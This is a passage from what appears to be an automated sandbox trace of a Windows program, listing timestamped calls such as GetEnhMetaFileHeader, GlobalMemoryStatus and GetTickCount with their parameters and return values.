out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.049] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.050] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0043.063] lstrlenA (lpString="") returned 0 [0043.063] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.063] GetTickCount () returned 0x19e70 [0043.063] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.063] GetTickCount () returned 0x19e70 [0043.063] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.063] GetTickCount () returned 0x19e70 [0043.063] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.063] GetTickCount () returned 0x19e70 [0043.063] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.064] GetTickCount () returned 0x19e70 [0043.064] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.065] GetTickCount () returned 0x19e70 [0043.065] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.066] GetTickCount () returned 0x19e70 [0043.066] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.067] GetTickCount () returned 0x19e70 [0043.067] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.067] GetTickCount () returned 0x19e70 [0043.067] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.067] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.070] GetTickCount () returned 0x19e7f [0043.070] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.071] GetTickCount () returned 0x19e7f [0043.071] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.072] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.072] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.073] GetTickCount () returned 0x19e7f [0043.073] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.074] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.074] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.075] GetTickCount () returned 0x19e7f [0043.075] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.076] GetTickCount () returned 0x19e7f [0043.076] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.077] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.077] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.078] GetTickCount () returned 0x19e7f [0043.078] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.079] GetTickCount () returned 0x19e7f [0043.079] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.080] GetTickCount () returned 0x19e7f [0043.080] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.081] GetTickCount () returned 0x19e7f [0043.081] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.082] GetTickCount () returned 0x19e7f [0043.082] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0043.083] GetTickCount () returned 0x19e8f [0043.083] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: 